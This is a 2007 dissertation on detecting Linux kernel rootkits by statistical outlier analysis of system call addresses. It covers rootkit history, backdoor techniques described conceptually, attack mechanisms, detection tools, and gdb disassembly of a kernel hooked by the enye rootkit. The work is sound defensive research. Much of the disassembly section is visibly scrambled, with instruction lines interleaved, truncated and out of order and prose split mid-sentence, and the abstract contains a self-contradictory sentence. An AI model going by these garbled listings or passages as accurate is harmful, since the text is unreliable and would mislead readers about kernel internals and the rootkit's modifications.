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METHODS FOR DETECTING KERNEL ROOTKITS 
 
 
Douglas R. Wampler 
 
 
November 12, 2007 
 
 
 Rootkits are stealthy, malicious software that allow an attacker to gain and 
maintain control of a system, attack other systems, destroy evidence, and decrease the 
chance of detection.  Existing detection methods typically rely on a priori knowledge and 
operate by either (a) saving the system state before infection and comparing this 
information post infection, or (b) installing a detection program before infection.   This 
dissertation focuses on detection using reduced a priori knowledge in the form of general 
knowledge of the statistical properties of broad classes of operating system/architecture 
pairs.   Four new approaches to rootkit detection were implemented and evaluated. 
 A general distribution model is employed against kernel rootkits utilizing the 
system call table modification attack.  Using approaches from the field of outlier 
detection, this approach successfully detected four different rootkits, with no false 
positives.  Scalability is, however, an issue with this approach.   A second, normality-
based approach was investigated for use against rootkits infecting systems via the system 
 iv
call table modification attack.  This approach was partially successful, but did generate 
false positives in 0.35% of cases.    
  The general distribution model was then applied to rootkits infecting 
systems via the system call target modification attack.  This dataset is dramatically larger, 
including disassembled memory addresses from the entire kernel.  Finally, a modified 
version of the normality based approach proved effective in detecting kernel rootkits 
infecting the kernel via the system call target modification attack.  This approach 
capitalizes on the discovery that system calls are loaded into memory sequentially, with 
the higher level calls, which are more likely to be infected by kernel rootkits loaded first, 
and the lower level calls loaded later.   In the single case evaluated, the enyelkm rootkit, 
neither false positives nor false positives were indicated.   
 As a final evaluation, these techniques were applied to the Microsoft Windows 
operating systems.  The Windows equivalent of the system call table, the system service 
descriptor table (SSDT), appears to be almost perfectly normally distributed.  A Windows 
rootkit employing the system call table modification attack was detected using the 
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 Nearly everyone has observed the seemingly unlimited flaws and vulnerabilities 
inherent in the protocols, operating systems, applications, and other software that 
constitutes modern computing environments.  By taking advantage of these flaws, 
attackers can assume control of systems, steal data, attack other systems, and general 
wreak havoc.  Computing technology has simply advanced too quickly for security 
technology to keep up and the reality is that today’s computing environments are 
inherently hackable [1]. 
 Modern computer security efforts are primarily concerned with the prevention of 
attacks, the detection of attacks or attempted attacks when they occur, and recovery from 
successful attacks [2].  Prevention entails activities such as running secure versions of 
popular operating systems, disabling services with known vulnerabilities or weaknesses, 
and installing specialized software or hardware designed to prevent successful attacks.  
Detection of successful or attempted attacks is covered in a broad field known as 
intrusion detection, which can further be divided into network intrusion detection and 
host based intrusion detection.  Recovery from successful attacks includes those actions 
taken to restore the system to an operational state, and usually entails restoring data and 
applications from backup media [3]. 
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 Network intrusion detection is typically conducted using a sniffing tool such as 
Snort [4].  Network activity is typically saved and later analyzed for anomalous behavior 
and attack signatures.  Host based intrusion detection is typically accomplished using 
host based security applications such as Tripwire [5].  There are many applications for 
use in both network and host based intrusion detection.  There also exist many programs 
for detecting rootkits on host systems.   
 A primary concern of attackers everywhere is not only how to gain privileged 
access to a system, but also how to keep it.  In order to keep privileged access, the 
attacker must conceal his, or her, activities from the system administrator and other 
legitimate users of the system in question.  Over time, concealment of illicit activities has 
evolved from the manual editing of log files, to the development of simple tools for this 
and similar purposes, culminating in the development of rootkits ranging from the simple 
to the Byzantine.   
 A rootkit is a method by which hackers maintain control of a compromised 
system, attack other systems, destroy evidence, and decrease the chance of being detected 
by system administrators [6]. The first rootkits were detected on SunOS machines in the 
early 1990s.  Since then, a “projectile/armor” race has erupted between those trying to 
develop/detect rootkits [1;7].  A rootkit is essentially a set of software tools employed by 
an intruder after gaining unauthorized, privileged access to a system. Rootkit software 
has three primary functions: (1) to maintain access to the compromised system; (2) to 
attack other systems; and (3) to conceal evidence of the attacker's activities [7]. 
 In the grand scheme of computer security, rootkit detection fits well into the area 
of host based intrusion detection.    Effective intrusion detection includes the collection of 
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information about intrusion techniques that can be used to improve methods of intrusion 
detection [2].  Why conduct further research into rootkit detection when there already 
exist many applications for this purpose?  In all current techniques for detecting Linux 
rootkits, substantial a priori knowledge about the specific system under observation is 
required.  Either (a) some application must be installed when the system is deployed, as is 
typical with host based intrusion detection, or (b) some system metrics must be saved to a 
secure location when the system is deployed.  In a perfect world, this would not present a 
problem, but in reality, system administrators are busy people and the time, effort and 
expertise required for these activities is often not available.   
 The purpose of this research is to detect rootkits using a more mathematically and 
statistically rigorous method, while requiring less specific a priori knowledge of any 
given system.  However, it should be noted that it will still be necessary to have some  a 
priori knowledge of general systems of the same type under observation.  In particular, 
information about the distribution of system calls is needed.  I most operating systems 
this does not appear to be normally distributed, which focused most initial work in this 
dissertation on general distribution models.  However, in certain special cases, a 
normality assumption is justified.  This research effort will be concentrated on two 
versions of one specific operating system using two different hardware platforms, 
specifically Linux kernel versions 2.4.27 and 2.6.8.  Linux kernel version 2.4.27 will be 
tested on Intel 32 bit and SPARC 64 bit architectures, while Linux kernel version 2.6.8 
will test tested only on an Intel 32 bit architecture.   
 In its more than twenty year history, UNIX has changed and evolved into many 
different flavors and releases.  These changes include the introduction of UNIX into 
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University environments, and the advent of BSD, System V, The Open Software 
Foundation, Posix, and several secure UNIX variants.  During this time, many 
vulnerabilities and methods of attack have been discovered and utilized, but eighty 
percent (80%) of all security violations are permission based [8].   
 
1.1 Dissertation Organization 
 This chapter provided a background and introduction to Unix rootkits, problem 
statement, motivation for this research, and the contribution made by this dissertation.   
Chapter two provides an overview and history of Unix rootkits (including a detailed 
discussion of backdoors commonly provided by rootkits), a classification of rootkits 
based on their methods of attack, and a discussion of the state of contemporary Unix 
rootkit detection applications and methodologies.   
 Chapter three details the primary attack vectors of contemporary rootkits, which 
fall into three distinct categories.  Chapter four discusses the methodologies which may 
be used to analyze the Unix kernel for rootkit infection, including those techniques used 
in this dissertation.   
 Chapter five includes a detailed discussion and experimental outcomes of a 
general distribution model used for the detection of rootkits using the system call table 
modification attack.  The system call table modification attack is commonly employed by 
loadable kernel module (LKM) rootkits.  Chapter six, similar to chapter five, also 
includes a detailed discussion and experimental outcomes of a ‘normality’ based model 
used for the detection of the system call table modification attack.  Beginning in chapter 
seven, the focus changes to the detection of the system call target modification attack 
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using a ‘known distibution’ model.  The system call target modification attack is 
commonly employed by runtime kernel patching rootkits, and instead of modifying the 
system call table, directly modifies the system call instructions in memory.   
 Chapter eight demonstrates an innovative, ‘normality’ based approach for 
detecting the system call target modification attack.  This chapter includes a particularly 
insightful discovery regarding the order of appearance in memory of the system calls 
themselves.  Without this key observation, this detection method would not be effective.   
 While this research has focused on the detection of Linux kernel rootkits, chapter 
nine explores the possibility of using the general distribution model to detect Windows 
kernel rootkits that utilize system service descriptor table (SSDT) modification attack.  
Finally, chapter ten  discusses the conclusions that can be drawn from this research, and 
examines directions for future research in this field. 



























 In the following section on literature review, a general overview of rootkits will 
be presented including history and a discussion of the many backdoors techniques 
utilized by various rootkits in section 2.1.  Section 2.2 covers rootkit classification, with 
special attention given to kernel rootkits.  Section 2.3 includes a detailed discussion of 
existing rootkit prevention and detection techniques, and section 2.4 discusses broad 
categories of outlier analysis techniques that may be useful in detecting rootkit infections. 
 
2.1 Rootkits 
 All of the dates presented herein are the dates upon which the information became 
publicly available. This software may have been available in the underground at a much 
earlier time [7]. 
 The earliest rootkits have existed since approximately the early 1990s [1].  As 
early as 1989, some components (e.g., log file cleaners) of known rootkits were found on 
compromised systems. The first early SunOS rootkits (for SunOS 4.x) were detected in 
1994. In 1996, the first Linux rootkits publicly appeared. On April 9th, 1997, Linux 
Kernel Module (LKM) rootkits were proposed in the hacker magazine Phrack by Halflife 
[7]. 
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 In 1998, Non-LKM kernel patching was proposed by Silvio Cesare in his 
landmark paper Runtime Kernel Patching[9].  He points out that it is possible to intrude 
into kernel memory without loadable kernel modules by directly modifying the kernel 
image (usually /dev/mem) [7].  In 1999, the first Adore LKM rootkit was released by 
TESO. This rootkit alters kernel memory via Loadable Kernel Modules. In 2000, the 
T0rnkit v8 libproc library Trojan was released. Library Trojans (usually libproc.a or 
glibc/libc [10]) can filter certain processes from being seen. Statically linked applications, 
or looking directly at /proc, will typically reveal the hidden process(es) [7]. 
 In 2001, KIS Trojan and SucKit released. These rootkits alter kernel memory not 
by using Loadable Kernel Modules, but by directly modifying the kernel image (usually 
in /dev/mem). In 2002, Sniffer backdoors start to show up in rootkits. Maintaining 
access is typically accomplished using backdoors [7].  Rootkits came to public awareness 
in 2005, during the Sony CD copy protection scandal, wherein Sony placed rootkits on 
Microsoft Windows PCs when a CD was played.  Sony did not mention this in the CD or 
packaging, mentioning only “security rights management measures” [11].   
 As mentioned above, maintaining access to a compromised system is typically 
accomplished by using one or several commonly known backdoor methods [1]. 
In the well known paper, An Overview of Unix Rootkits [7], Chuvavkin outlines the many 
backdoor techniques available to the rootkit developer.  These backdoor techniques 
include: 
 
Telnet/Shell – An attacker may simply connect to a compromised system using telnet or 
an inetd spawned shell on a high port. This is a very unsophisticated method. 
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Secure Shell – A Secure Shell connection on a high port is a common method employed 
by less sophisticated attackers. Custom Secure Shell daemons also may not even leave 
evidence in host log files. The netstat command, or an external scan by nmap, will reveal 
this technique. 
 
CGI Shell - It is possible that a rootkit may deploy a hostile CGI script during 
installation. This is often considered a backdoor of “last resort”. The script may be able to 
run commands as “nobody” or “httpd” and display the results in the browser. Local 
exploits will need to be used to once again obtain root. 
 
Reverse Telnet/Shell – In this case the compromised machine initiates an outbound 
connection to the attacker's machine. This technique has the advantage of possibly being 
able to circumvent firewalling efforts (i.e., outbound connections are typically allowed). 
Observant system administrators may find it odd that their servers are initiating unusual 
outbound connections. 
 
ICMP Telnet – It has been said that everything can be tunneled over everything else. 
ICMP control messages can be made to carry payloads like command line 
sessions. It is not uncommon for ICMP traffic to be allowed through firewalls for 
network performance and monitoring reasons. Backdoors like these will not 
be discovered using commands like netstat and nmap. However, ICMP backdoor 
activities are visible to network intrusion detection systems. 
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Reverse Tunneled Shell – In most environments, web browsing via port 80 TCP is 
allowed and typically unrestricted. In this case the command line session is 
carried across the HTTP protocol between the attacker and the compromised host. 
 
Magic Packet Activated Backdoor - This backdoor will open a port, execute a single 
command, initiate a session, or perform some other action when it receives a single magic 
packet. The packet will possess a specific TCP sequence number or some other 
inconspicuous property. 
 
Sniffer Based Backdoor - Instead of opening a port and listening, this backdoor sniffs 
network traffic instead. Upon receiving a specific packet (not necessarily directed to the 
compromised host, but instead observed on the network only), the Sniffer Based 
Backdoor performs and action and sends a response using a faked source IP address. This 
method is extremely stealthy and very difficult to detect [7;12]. 
 
Covert Channel Backdoor – If one were to create their own signal system and combine 
this with any known network protocol, it would probably never be detected 
using existing methods. The number of variables and large number of fields in existing 
network protocols and applications is very large. This method is provably undetectable. 
  
 It is worth re-emphasizing that some of these backdoor techniques (sniffer-based 
backdoor, covert channel backdoor) can be extremely stealthy or even 
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undetectable [7]. This suggests that even after discovering and removing a rootkit, a 
system administrator would be well advised to conduct a full system reinstall in order to 
be sure they have eradicated all existing backdoors on the suspect system. Fortunately, no 
known rootkits utilize the provably undetectable covert channel backdoor. 
 Tools for attacking other systems, both locally and remotely, began appearing in 
rootkits during the late 1990s.  Local attack tools exist primarily for the purpose of 
recapturing root access from vigilant system administrators. Tools of this kind typically 
include local password sniffers or crackers. 
 Remote attack tools typically include a basic network sniffer to eavesdrop and 
obtain username/password pairs on the same local area network where clear text 
protocols are used. Also in this class of tools are various network scanners and automated 
exploit tools (autorooters). As an example, an attacker may scan a range of IP addresses 
for vulnerable web servers, and run an autorooter to gain root privileges on those 
vulnerable hosts. 
 Most rootkits contain at least one or more denial of service tools. Some systems, 
in fact, contain system commands that may be used to flood other hosts (e.g., the spray 
command in Solaris). Attackers may use the DoS tools against their enemies or during 
their use of Internet Relay Chat [6]. 
 The third and final area of rootkit functionality is the elimination of evidence. 
Ideally a rootkit strives to eliminate evidence generated during the initial attack, and 
prevent the generation of any new evidence.  What this means, in reality, is the careful 
editing of various log files, audit records, shell histories, and application log files [12]. 
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There are a large number of well known utilities that exist for this purpose. However, no 
known rootkits utilize any form of secure or reliable data removal – yet. 
 Preventing the generation of further evidence usually entails terminating or 
modifying the syslog daemon. Attackers also typically take action to ensure that shell 
history files and application log files are not generated [7]. 
 
2.2  Rootkit Classification 
 There are three known categories of rootkits. The first and simplest type are 
binary rootkits, composed of modified, malicious copies of system binaries that are 
placed on the host system. A logical second step in the evolution of the rootkit is the 
library rootkit, in which a modified and malicious copy of a system library is placed on 
the host system. These first two categories of rootkit are relatively easy to detect. 
 The third, and most insidious, category of rootkit is the kernel rootkit. There are 
two subcategories of kernel rootkits, loadable kernel module rootkits (LKM rootkits) and 
kernel rootkits that directly modify the memory image in /dev/mem (kernel patched 
rootkits) [13].  Kernel-level rootkits attack the system call table by three known 
mechanisms [14]. 
 
System Call Table Modification. The attacker modifies the addresses stored in the system 
call table.  The attacker, having written custom system calls [15] to replace several 
system calls within the kernel, changes the addresses in the system call table to point to 
the new, malicious custom system calls.   
 
 11
System Call Target Modification. In this case, the attacker overwrites the legitimate 
targets of the addresses in the system call table with malicious code.  The system call 
table does not need to be changed.  The first few instructions of the system call function 
is overwritten with a jump instruction to the malicious code.  
 
System Call Table Redirection. In this type of rootkit implementation, the attacker 
redirects references to the entire system call table to a new, malicious system call table in 
a new kernel address location. This method can pass many currently used detection 
techniques [14].  Upon further investigation, it appears that the system call table 
redirection attack is simply a special case of the system call target modification attack 
[16].  The attacker simply modifies the system_call function, modifying the address of 
the system call table therein, which handles individual system calls.   
 
2.3  Rootkit Detection 
 The first rootkits were simply tar archives of system binaries that were likely to be 
executed by suspicious system administrators of compromised systems. These binaries 
were typically, but not limited to, binaries such as netsat, kill, killall, passwd, 
ps, pstree, sendmail, su, syslogd, and top. These binaries would be replaced 
with modified copies created by the attacker in order to provide remote access, local 
access, process hiding, connection hiding, file hiding, and user activity hiding.  These 
application rootkits are easily discovered by keeping secure copies of critical system 
binaries on read only removable media, checking binary file sizes, using checksums, 
looking at the /proc file system directly, and so forth [1]. 
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 Library rootkits, such as T0rn, replace the system library libproc.a with a 
special modified library in order to maintain stealth. System binaries such as ps and top 
rely upon this library to relay information from the kernel space. Using a modified library 
allows one to avoid changing system binaries but still selectively filter file and process 
lists. Once again, looking directly at the /proc file system will reveal this attack.  It is 
also relatively straightforward to modify the glibc/libc main system library to filter data 
before it is sent to the kernel. Any application linked with this library (most applications) 
will report false information. This attack may be avoided by using statically linked 
applications.  The UNIX commands ltrace, strace, and truss can be used to trace 
library and kernel calls [7]. 
 The first kernel rootkits appeared as malicious loadable kernel modules (LKM). 
Processes under UNIX run either in user space or kernel space.  Application programs 
typically run in user space and hardware access is typically handled in kernel space.  If an 
application wants to read from a disk, it uses the open() system call and asks the kernel to 
open a file.  Loadable kernel modules run in kernel space and have the ability to modify 
these system calls. If there is a malicious loadable kernel module in kernel space, the 
open() system call will open the file requested unless the name of the file is “rootkit” 
[1;7]. 
 Many system administrators countered this threat by simply disabling the loading 
of kernel modules [1].  However, Silvio Cesare recently published a paper proposing a 
method for modifying system calls by directly accessing the kernel memory image in 
/dev/mem [9].  Several rootkits have since been discovered that successfully utilize 
this method.   
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 Earlier rootkits such as binary and library rootkits may be detected using 
relatively simple countermeasures. Binary rootkits may be detected by simply checking 
the file size of system binaries or using checksums or hashes of the system binaries.  
Library rootkits may be detected by comparing file sizes, checksums, or hashes of the 
library files under suspicion as well as by using statically linked applications. Both binary 
and library rootkits may be easily detected by looking directly at the /proc file system 
[1;7]. 
 Host based intrusion detection systems (Tripwire and Samhain being the most 
well known) are still a relatively straightforward and effective way of detecting known 
rootkits [1]. Samhain also includes functionality to monitor the system call table, the 
interrupt description table, and the first few instructions of every system call [7]. 
 The Linux Intrusion Detection System (LIDS) is a kernel patch that must be 
applied to kernel source code, and requires a rebuild of the kernel.  LIDS has the 
capability to offer protection against kernel rootkits through the following mechanisms:  
sealing the kernel from modification; prevent loading/unloading of kernel modules; 
immutable and read-only file attributes; locking of shared memory segments; process ID 
manipulation protection; protection of sensitive /dev/ files; and port scan detection 
[12].  LIDS appears to be more rootkit prevention tool than rootkit detection tool.  As 
with all other techniques discussed so far, LIDS requires either (a) some action be taken 
in advance to thwart rootkit activity, or (b) some a priori knowledge of the specific 
system under observation.   
 One detection method proposed by Sebastian Krahmer from SuSE in the past was 
to monitor and log any program execution when execve() calls were made.  Combine this 
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with remote logging, and one could maintain a record of program execution on a system.  
With a Perl script to monitor the log, one could perform actions such as sending alarms or 
killing processes in order to stop the intruder [17]. 
 Applications do exist for the purpose of detecting rootkits (including kernel 
rootkits).  These include several tools available for download including chkrootkit, kstat, 
rkstat, St. Michael, scprint, and kern_check  [11;18-24].  Chkrootkit is a user-space 
signature based rootkit detector , while several others (kstat, rkstat, and St. Michael) are 
kernel-space signature based detectors.  These tools typically print the addresses of 
system calls directly from /dev/kmem and compare them to the entries in the 
system.map file [12].  This approach relies upon some trusted source of a priori 
knowledge of the specific system in question.  Chkroot, kstat, rkstat, and St. Michael, as 
signature based detectors, suffer from the usual shortcomings of signature based 
detection.   
 Scprint and kern_check are utilities for printing and/or checking the addresses of 
the entries in the system call table.  Several of these utilities have proven quite useful in 
attempts to verify the results of detection attempts against various categories of kernel 
rootkits. 
 Other researchers have proposed to count the instructions used in system calls, 
comparing them to measurements taken from a “clean” system [25].  This approach 
seems very promising, but requires a kernel patch, installation of an application, and a 
priori knowledge of the instruction count of each system call on the specific system in 
question.  
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 Further efforts in the field of rootkit detection include static analysis of loadable 
kernel module binaries [26].  The kernel exports a well-defined interface for use by 
kernel modules, and LKM rootkits typically violate this interface.  By carefully analyzing 
this interface, one may extract an allowed set of kernel modifications.  Using this set of 
allowed kernel modifications, a researcher may statically analyze a loadable kernel 
module binary to determine whether it violates this allowable set of kernel modifications.  
This technique seems very promising for the detection of LKM rootkits, but the authors 
do not offer any alternatives for detecting kernel patched rootkits.   
 Until recently, efforts toward rootkit detection have been software based.  College 
Park, Maryland based Komoku Inc. offers a low-cost, add-in PCI card that monitors a 
host system’s memory and file system [27;28].  However, Copilot uses “known good” 
MD5 hashes of kernel memory and must be installed and configured on a “clean” system 
in order to detect the future deployment of a rootkit [29].  Spafford and Carrier have 
presented a technique in which binary rootkits were detected using an outlier analysis 
technique on the file system in an offline forensic analysis situation [30].  The research 
presented in this paper focuses on the detection of kernel rootkits through memory 
analysis. 
 By default, the Linux operating system may access up to 4 Gigabytes of virtual 
memory, with memory addresses between 0x00000000 and 0xFFFFFFFF in hexadecimal 
notation.  An upper portion of this memory is allocated for use by the kernel. This upper 
memory area has addresses between 0xC0000000 and 0xFFFFFFFF. Typically, system 
calls will have addresses such as 0xC011D0E1, 0xC013A229, or 0xC010B4D0 [16]. 
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 The symbol _text indicates the first byte of kernel code.  The end of kernel code is 
marked by the presence of the _etext symbol.  The following kernel data is categorized as 
initialized and un-initialized.  The initialized kernel data starts at the symbol _etext and 
ends at symbol _edata.  The un-initialized portion of kernel data starts immediately after 
_etext and stops at symbol _end [31].  Preliminary experiments have shown that LKM 
rootkits create malicious system calls at address locations that exceed the memory value 
of symbol _end – at memory address 0xC041D8A9 or greater.  This data suggests that 
malicious system calls may be detectable through the use of outlier analysis techniques. 
 Whenever a new loadable kernel module (LKM) is loaded, the kernel allocates a 
portion of memory for it usually starting at 0xC8800000. If there exists a system call, 
then, with an address such as 0xC8801A12 or higher, this implies that a system call has 
been replaced with a system call from a loadable kernel module. This is highly suspect, 
and strongly suggests the presence of an LKM kernel rootkit [16].  It may be possible to 
make mathematical or statistical observations about these memory addresses, and 
produce a more formal, reliable assessment of the presence of a rootkit without a priori 
knowledge about the specific system under scrutiny.   
 Whether this method will also succeed in detecting kernel patched rootkits that 
directly modify kernel memory in /dev/mem remains unknown.  There are well known 
tools for analyzing memory and the system call table. This may be accomplished using 
common system tools such as the GNU debugger in conjunction with the system.map 




2.4 Selected Statistical Methods 
 Existing approaches to detecting outliers can be classified into three broad 
categories.  The first category is distribution-based, which entails fitting the data to the 
best known underlying distribution. This approach is univariate in nature, and requires 
testing to find a distribution to fit the data [32].  Techniques that fit into this class were 
used to obtain very promising preliminary results, and will be discussed later.   
 The second category is depth-based, which requires that the data be organized 
into some k-dimensional space.  Based on some definition of depth, the data are 
organized into layers, and it is expected that shallow layers are more likely to be outliers 
than are deep objects.  This approach avoids the problem of distribution fitting, and 
allows for multi-dimensional data to be processed.  However, depth-based approaches do 
not scale well as the dimensionality k increases [32].  This approach relies on the 
computation of convex hulls, which is defined as the set of points X in the real vector 
space V is the minimum convex set containing X.  This implies that the data set would 
need to have minimum dimensionality of two.   
 The third and final category is distance based, and existing work in this area 
focuses on large, multidimensional data sets.  There are several distance and density 
based approaches for the detection of outliers.  These approaches will be discussed, along 
with more conventional methods of outlier analysis.   
 Breunig et al. [33] introduce a new notion of outliers which bases their detection 
on the same theoretical foundation as density-based cluster analysis.  This concept of an 
outlier is ‘local’ in the sense that the outlyingness of some object is determined by 
considering the clustering structure of some bounded neighborhood of the object.   
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The researchers show that this approach is more effective for detecting different types of 
outliers than previous approaches.  Finally, they show that outliers can be found nearly 
“for free” if one is willing to perform a cluster analysis on the data set [33].  In related 
work, Breunig et al. contend that in many cases, it is more meaningful to assign to each 
object a degree of outlyingness.  This metric is called the local outlier factor (LOF) of an 
object.  The researchers go on to show that LOF enjoys many desirable properties and 
can be used to find outliers that cannot be identified using other existing approaches [34]. 
 Knorr et al. [35] present three different algorithms for finding distance-based 
outliers in large, multidimensional datasets.  The first two algorithms both have 
complexity O(k N2), where k is the dimensionality of the dataset and N being the number 
of objects in the dataset.  These first two algorithms readily support databases with many 
more than two attributes.  Finally, the researchers present a third cell-based algorithm for 
datasets that are mainly disk-resident, and guarantees no more than three passes over the 
dataset [35].  
 Additionally, two different groups of researchers have proposed methods for 
finding the top-n outliers from a given dataset.  Ramaswamy et al. presents a method for 
partitioning the data, and then pruning the partitions as soon as it can be determined that 
they cannot contain outliers [36].  Jin et al. also present a novel method to efficiently find 
the top-n outliers using an efficient micro-cluster based local outlier mining algorithm 
[37].   
 Depth-based outlier detection does not seem to lend itself well to rootkit 
detection, because it is based on the computation of convex hulls, which requires a set of 
points, that is, a data set in two dimensions.  In this research, our data set has 
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dimensionality of one – memory addresses only.  The distance and density based 
approaches investigated thus far do not seem to be well suited to this research for the 
following reasons:  They are well suited to extremely large datasets with high 
dimensionality; they typically involve a significant number of kth nearest neighbor 
searches and hold the possibility of being computationally expensive; many rely on 
clustering, which typically requires multidimensionality; and some assume the presence 
























 As mentioned earlier, Linux Kernel rootkits attack the kernel via three known 
methods.  The first attack simply modifies the system call table itself and is known as the 
system call table modification attack.  The second attack, known as the system call target 
modification attack, actually modifies the individual system calls themselves.  The third 
and final attack,  known as the system call table redirection attack, redirects the system 
call table itself to a new, malicious system call table located elsewhere in memory.  This 
is accomplished by using the system call target modification attack against the 
system_call system call function, and as such as simply a special case of the system call 
target modification attack.  The attacks just discussed will now be described in additional 
detail.  Section 3.1 and 3.2 will discuss the system call table modification attacks and the 
system call target modification/system call redirection attacks respectively, including 
relevant examples.  Section 3.3 includes a further detailed analysis of the malicious code 
discovered in Section 3.2.   
 
3.1  The System Call Target Modification Attack 
 In the system call table modification attack, an attacker simply changes the 
addresses stored in the system call table.  The attacker, having written custom system 
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calls [15] to replace several system calls within the kernel, changes the addresses in the 
system call table to point to these new, malicious custom system calls.  Experience has 
shown that the system call table modification attack has typically been conducted using 
loadable kernel modules and seems most prevalent in Linux kernel version 2.4 rather than 
kernel version 2.6.  An overview of this attack is presented in Figure 3.1, below. 
 
 
Figure 3.1:  system call table modification attack 
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 An example of the system call table modification attack follows.  Appendix 
displays the addresses for all 252 addresses from the system call table of a 32-bit Intel 
architecture Linux kernel 2.4.27 system before the deployment of a rootkit employing the
system call table modification attack.   
  Appendix E.2 contains the memo
E.1 
 
ry addresses of the system call table in an Intel 
Architecture 32-bit Linux kernel 2.4.27 machine after the deployment of the Knark Linux 
Kernel Module rootkit, and this particular rootkit utilizes the system call table 
modification attack.  Memory addresses than have been replaced by the rootkit are 
presented in boldfaced font.   
 
3.2  The System Call Target Modification/System Call Table Redirection Attack 
 In the system call target modification and system call redirection attacks, the 
attacker overwrites legitimate system calls in the system call table with malicious code.  
These attacks have the advantage of not having to change the system call table.  Instead, 
the first few instructions of the system call function being attacked is overwritten with a 
jump instruction to the malicious code located higher in memory.  The system call 
redirection attack is essentially the same as the system call target modification attack, in 
that the attacker modifies the system_call function, modifying the address of the system 
call table located therein, which handles individual system calls.  An overview of this 
attack is presented in Figure 3.2, below. 
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Figure 3.2:  system call target modification and system call table redirection attacks 
e 
he system call table redirection attack used 
 The system call target modification and system call table redirection attacks make 
use of runtime kernel patching [9] in order to actually change instructions within th
system calls themselves.  An example of t
against an Intel Architecture 32-bit Linux kernel 2.6.8 system will now be presented.   
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The following code contains the disassembled instructions for the system_call system call 
sed by all other 
gdb) disass system_call 
0xc01040dc <system_call+0>:     push   %eax 
     push   %ds 
8>:     push   %edx 
0e5 <system_call+9>:     push   %ecx 
c010
0xc01040ec <system_call+16>:    mov    %edx,%ds 
0xc01040fc <system_call+32>:    jae    0xc01041d4 <syscall_badsys> 
 
s: 
Dump of assembler code for function syscall_trace_entry: 
 




  0xc0104108 
   0xc0104113 
  %esi,%esi 
function before the deployment of a rootkit.  System_call is the handler u
system call functions. 
(
Dump of assembler code for function system_call: 
0xc01040dd <system_call+1>:     cld 
0xc01040de <system_call+2>:     push   %es 
0xc01040df <system_call+3>:
0xc01040e0 <system_call+4>:     push   %eax 
0xc01040e1 <system_call+5>:     push   %ebp 
0xc01040e2 <system_call+6>:     push   %edi 





40e6 <system_call+10>:    push   %ebx 
0xc01040e7 <system_call+11>:    mov    $0x7b,%edx 
0xc01040ee <system_call+18>:    mov    %edx,%es 
0xc01040f0 <system_call+20>:    mov    $0xffffe000,%ebp 
0xc01040f5 <system_call+25>:    and    %esp,%ebp 
0xc01040f7 <system_call+27>:    cmp    $0x11c,%eax 
0xc0104102 <system_call+38>:    testb  $0x81,0x8(%ebp) 
0xc0104106 <system_call+42>:    jne    0xc0104170 <syscall_trace_entry> 
End of assembler dump. 
(gdb) q 
 Note that the system_call function calls the syscall_trace_entry function.  Further 
disassembly of the syscall_trace_entry function yields the following instruction
(gdb) disass syscall_trace_entry 
0xc0104170 <syscall_trace_entry+0>:     movl   $0xffffffda,0x18(%esp)
0xc0104178 <syscall_trace_entry+8>:     mov    %esp,%eax 
0xc010417a <syscall_trace_entry+10>:    xor    %edx,%edx 
0xc010417c <syscall_trac
0xc0104181 <syscall_trace_entry+17>:    mov    0x2
   $0x0xc0104185 <syscall_trace_entry+21>:    cmp 
    jb   0xc010418a <syscall_trace_entry+26>:
 <syscall_call> 
0xc0104190 <syscall_trace_entry+32>:    jmp 
 <syscall_exit> 
0xc0104192 <syscall_trace_entry+34>:    mov  








tem call table at last.  In the disassembled instructions of 
syscall_call, observe that the instruction “call   *0xc031b260(,%eax,4)”, which is 
the address of the system call table on the test system.  Armed with this information, one 
may deduce that any attacker wishing to perform the system call table redirection attack 
would need to overwrite some combination of the functions system_call, 
syscall_trace_entry, and perhaps syscall_call.  If the attacker makes use of the enye linux 





7>:     push   %esi 
0xc01040e6 <system_call+10>:    push   %ebx 
0xc01040f5 <system_call+25>:    and    %esp,%ebp 
0xc01040fd <system_call+33>:    adc    $0x0,%edx 
Again, further disassembly of the syscall_call  function yields the follo
(gdb) disass syscall_call 
 Dump of assembler code for function syscall_call:
0xc0104108 <syscall_call+0>:    call   *0xc031b260
0xc010410f <syscall_call+7>:    mov    %eax,0x18(%e
End of assembler dump. 
(gdb) 
 
Now it comes to the sys 
syscall_trace_entry and system_call system call functions, the following effects from the
attack may be observed.  First, note the following disassembled system_c
after enye rootkit infection:   
Dump of assembler code for function system_call
0xc01040dc <system_call+0>:     push   %eax 
0xc01040dd <system_call+1>:     cld 
0xc01040de <system_call+2>:     push   %es 
0xc01040df <system_call+3>:     push   %ds 
0xc01040e0 <system_call+4>:     push   %eax 
0xc01040e1 <system_call+5>:     push   %ebp 
+6>:     push   %e0xc01040e2 <system_call
c01040e3 <system_call+0x
0xc01040e4 <system_call+8>:     push   %edx 
0xc01040e5 <system_call+9>:     push   %ecx 
0xc01040e7 <system_call+11>:    mov    $0x7b,%edx 
0xc01040ec <system_call+16>:    mov    %edx,%ds 
0xc01040ee <system_call+18>:    mov    %edx,%es 
0xc01040f0 <system_call+20>:    mov    $0xffffe000,%ebp 
0xc01040f7 <system_call+27>:    push   $0xd087bf65 
0xc01040fc <system_call+32>:    ret 
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0xc0104100 <system_call+36>:    add    %al,(%eax) 
0xc0104106 <system_call+4
End of assembler dump. 
0xc0104102 <system_call+38>:    testb  $0x81,0x8(%ebp) 
2>:    jne    0xc0104170 <syscall_trace_entry> 
Clearly the instructions for the system_call system call function have been altered, 
ecifically with a new address – 0xd087bf65.  This address replaces the normal call 
ction to handle non-existent or bad system calls.  The 
call_trace_entry: 
0xc0104170 <syscall_trace_entry+0>:     movl   $0xffffffda,0x18(%esp) 
x 
race_entry+10>:    xor    %edx,%edx 
race_entry+12>:    call   0xc0108250 
race_entry+17>:    mov    0x24(%esp),%eax 
race_entry+21>:    push   $0xd087bf65 
    ret 
:    (bad) 
:    js     0xc010418d 
:    ljmp   *%ebx 
:    orl              
 figures prominently in the disassembled 
the address of the code to handle the 
at we are trying to detect, and normally our 
ion of the 
er’s al tive system call functions will be 






to syscall_badsys, which is the fun
reason for this modification is not yet clear.  Further disassembly of the 
syscall_trace_entry system call function (the function that really leads to the system call 
table) shows the following modifications: 
Dump of assembler code for function sys














End of assembler dump. 
 
 Once again, the address 0xd087bf65
code.  Address 0xd087bf64 is, in reality, 
malicious system calls.  This is precisely wh
code and instruction analysis would stop here.  However, a brief discuss
malicious code for handling the attack terna
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3.3  Analysis of Malicious Code 
 Below, make note of the malicious code for handling the system calls for which 
the attacker has furnished alternatives.  After handling selected system calls, the attacker 
returns control to the normal system call process by pushing address 0xc010410F (the 
g.   
f64 to 0xd087bfaa: 
